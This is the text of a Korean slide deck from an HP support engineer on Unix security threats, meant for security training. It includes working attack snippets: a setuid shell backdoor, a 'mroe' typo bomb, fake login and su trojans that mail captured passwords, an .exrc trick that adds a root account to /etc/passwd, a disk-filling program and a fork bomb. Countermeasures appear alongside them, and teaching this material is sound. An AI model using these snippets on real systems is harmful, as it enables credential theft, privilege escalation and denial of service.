한국 휴렛팩커드/고객지원사업본부/IT 기술사업부 박기영 시스템 보안의 위협과 사례연구 한국 휴렛팩커드/고객지원사업본부/IT 기술사업부 박기영
목 차 unix 보안 보안정책 Unix log files TFTP 해킹유형 해킹절차 백도어 BOMB 장치파일 트로이 목마 백도어와 트로이 목마의 비교 바이러스와 웜의 비교 버퍼 오버플로우 DOS(Denial of Service) 스니핑 스푸핑 DOS의 대응책
UNIX 보안 왜 보안이 중요한가 ? UNIX 디자인은 오픈 환경에 맞춰져 있다. Source 공개 ( WINDOW 와 반대) 왜 보안이 중요한가 ? UNIX 디자인은 오픈 환경에 맞춰져 있다. Source 공개 ( WINDOW 와 반대) 해킹 (또는 크래킹) 툴은 쉽게 구할 수 있다. 보안 허점에 의한 사고 건수 및 비용이 증가하고 있다 전자상거래 의 활성화 Internet 의 발달
보안 정책 보안 정책의 정의 보안의 필요성 인식 무엇을 보호할 것인가? 누구로부터 보호할 것인가? Hardware, Software, Data... 누구로부터 보호할 것인가? 단순해커, 내부직원, 청부업자... 어느 정도까지의 액세스를 허용할 것인가? 방화벽, 암호관리, 모니터링의 수준 보안 침해 도중과 이후의 대응책
Unix Log Files acct 사용자별로 실행되는 모든 명령어를 기록 access_log error_log web server 인 경우 어느 사이트에서 접속하였는지 또는 어떤 file을 download 받았는지에 대한 기록, 그리고 존재하지 않은 file을 download 받았을때 기록. sulog su 명령 사용 내역 기록 utmp 현재 로그인한 각 사용자의 기록 wtmp 사용자의 로그인, 로그아웃 시간과 시스템의 종료 시간, 시스템 시작 시간 등을 기록 xferlog ftp 접근을 기록
Unix Log Files acct file #vi /etc/rc.config.d/acct #/sbin/init.d/acct start #/usr/sbin/acct/acctcms –ta /var/adm/pacct wtmp file #usr/sbin/acct/fwtmp < /var/adm/wtmp > /home/pky/test.wtmp #vi /home/pky #/usr/sbin/acct>./fwtmp -ic < /home/pky.wtmp > /var/adm/wtmp xferlog file #cp /usr/newconfig/etc/ftpaccess /etc/ftpd/ #vi /etc/inetd.conf file
TFTP tftp 정의 #vi /etc/passwd file tftp:*:510:20:trivial ftp:/home/tftp:/usr/bin/false or #vi /etc/inetd.conf file #/usr/sbin/inetd –c tftp의 문제점 user authentication 기능이 없다.
해킹 유형 해킹방법에 따라 - Local attack: Unix system에 계정을 가지고 있는 경우 shell상에서 Unix system의 bug나 security hole을 이용하여 root계정을 획득하는 경우 - Remote attack: Unix system에 계정을 가지고 있지 않는 경우 각종 방법을 동원하여 Unix system상의 계정을 획득하는 경우 - Denial of service: 타겟 시스템이나 타겟 시스템에서 제공하는 서비스를 공격하여 서비스를 불가능하게 하는 경우
Unauthorized Activities 해킹 절차 Target System 정보 수집 Unauthorized Activities Login Prompt User Access Step 1 Step 2 Step 3 Step 4
백도어(Backdoor) 백도어 정의 크래커가 침입한 시스템을 재침입하거나 특권을 쉽게 획득하기 위하여 만들어 놓은 일종의 security hole 혹은 비밀 통로
백도어(setuid) setuid 정의 setuid – 4000, setgid-2000, sticky bit-1000 -r-sr-xr-x 1 root 24756 Mar 11 19:59 usr/bin/passwd #cp /sbin/sh /tmp/test.sh #chmod 4755 /tmp/test.sh find / -user –root –perm 4000 -print
BOMB 루트가 어느날 실수로 mroe fileA를 입력하면, 시스템에는 함정문이 생기게 된다 ‘mroe’ bomb mroe /etc /var /usr contrib bin local bin bin mroe mroe mroe cp /usr/bin/sh /tmp/.sh_$USER chmod 4777 /tmp/sh_$USER /usr/bin/more $*
장치 파일 해커가 who 코맨드를 사용하여 루트가 로그인하고 있는 것을 확인한다. root console Mar 1 11:32 root /dev/pts/ta Mar 2 06:48 해커는 장치파일의 허가권을 확인한다. crw--w--w- 2 root root ….. /dev/ttyp6 그리고, 아래와 같이 어떤 코맨드라도 실행시킬 수 있다. #rm test > /dev/pts/ta
트로이 목마 트로이 목마 정의 정상적인 기능을 하는 프로그램으로 가장하여 프로그램내에 숨어서 의도하지 않은기능을 수행하는 프로그램으로 바이러스와 달리 자기 복제 기능은 없다.
트로이 목마(login) vi /home/pky/login_spoofs #!/usr/bin/sh clear echo "login:\c " read login stty -echo echo "Password:\c " read pw stty echo echo echo "Login: $login Passwd: $pw" | mail pky login:
트로이 목마(su) #vi /home/pky/su_trojan #!/usr/bin/sh stty -echo echo "Passwdord: \c" read x echo "" stty echo echo "Someone used this password: " $1 $2 $X| mail pky & sleep 1 echo su: Sorry rm -rf su
트로이 목마(.exrc) 해커가 루트의 .exrc파일을 다음과 같이 수정한다. !(echo “secret::0:0::/:/bin/ksh” >> /etc/passwd) 루트가 파일을 수정하면, vi file_A /etc/passwd파일에 secret계정이 추가된다. 해커는 수퍼유저 권한을 가진 계정을 사용한다.
백도어와 트로이목마의 비교 백도어와 트로이 목마의 차이점 트로이 목마의 경우 특정 사용자, 혹은 프로그램 실행에 의한 수동적인 방법에 의존하지만 백도어는 일단 시스템 침입에 성공한 후 재침입을 위해 침입자가 직접 설치한다.
바이러스와 웜의 비교 Virus(바이러스)는 주로 한 컴퓨터내에서 다른 프로그램을 감염시켜, 기생하면서 계속해서 자신을 복제하는 프로그램 Worm(웜)은 바이러스와 마찬가지로 자신을 복제하지만, 주로 네트워크를 통하여 자신을 복제하여 다른 컴퓨터로 자신을 전파하는 프로그램
버퍼 오버플로우 정의 C/C++ 컴파일러가 배열의 경계검사(Boundary Check)를 하지 않아 선언된 크기보다 더 큰 데이터를 기록하고 저장된 복귀 주소를 변경함으로써 임의의 코드를 실행
공격의 대상 취약점이 있는 서버 데몬 및 시스템 관리 프로그램 주로 root 소유의 setuid 프로그램 Text Data Stack Local Var. sfp Arguments Return Addr. Shell Code ret Overflow lower memory address higher memory address
버퍼 오버플로우 - 대응책 패치 적용 랩퍼(wrapper) 사용 : 인자(argument) 길이 검사 경계를 검사하는 함수 사용 : fgets(), strncpy(), strncat() 경계를 검사하지 않는 함수 : strcat(), strcpy(), gets(), sprintf(), sscanf()
DOS (Denial of Service) 정의 DoS 방식은 한꺼번에 엄청난 양의 접속 신호를 보내 웹 사이트를 운영하는 「서버」가 가짜 접속 처리를 하느라 실제로 접속하려는 이용자의 요구에 응답하지 못하도록 만드는 것이다. 특징 DOS공격은 인터넷을 통하여 장비나 네트워크을 목표로 공격합니다. DOS공격의 목적은 정보를 훔치는것이 아니라 장비나 네트워크를 를 무력화 시켜서 사용자가 더이상 네트워크 자원을 접근할 수 없게 만듭니다.
DOS(disk full) vi diskfull.c #include <stdio.h> #include <sys/file.h> void main() { int fd; char buf[10000]; fd=open("./hiddenfile", O_WRONLY | O_CREAT, 0777); while(1) write(fd, buf, sizeof(buf)); }
DOS(nproc full) vi nproc.c #nclude <stdio.h> #include <unistd.h> void main() { pid_t pid; while(1) pid=fork(); }
스니핑 (sniffing) client server 도청
스푸핑(spoofing) attacker B A C C
TCP SYN flood IP Address 1 IP Address 2 From:IP Address 1 To: IP Address 2 From:IP Address 2 SYN To: IP Address 1 ACK IP Address 1 From:IP Address 1 To: IP Address 2 ACK IP Address 2
TCP SYN flood IP Address 1 IP Address 2 From:Fake IP Addr To: IP Address 2 From:Fake IP Addr SYN IP Address 2 To: IP Address 2 From:Fake IP Addr SYN To: IP Address 2 From:IP Address 2 SYN To: Fake IP Addr ACK IP Address 1 From:IP Address 2 SYN To: Fake IP Addr ACK From:IP Address 2 SYN To: Fake IP Addr ACK
DOS 대응책 대응책 인증 및 서비스 필터링을 사용한다. 사용자를 인증함으로서, 인증된 사용자만이 메시지를 보낼 수 있다. 또한, 서비스 필터링을 사용하여 메시지의 소스를 감시함으로서, 지정된 파라메타(소스, 헤더 정보, 주제, 크기 등)의 조건에 맞지 않는 메시지를 공격이 끝날 때까지 거부할 수 있다
Thank You !! 해킹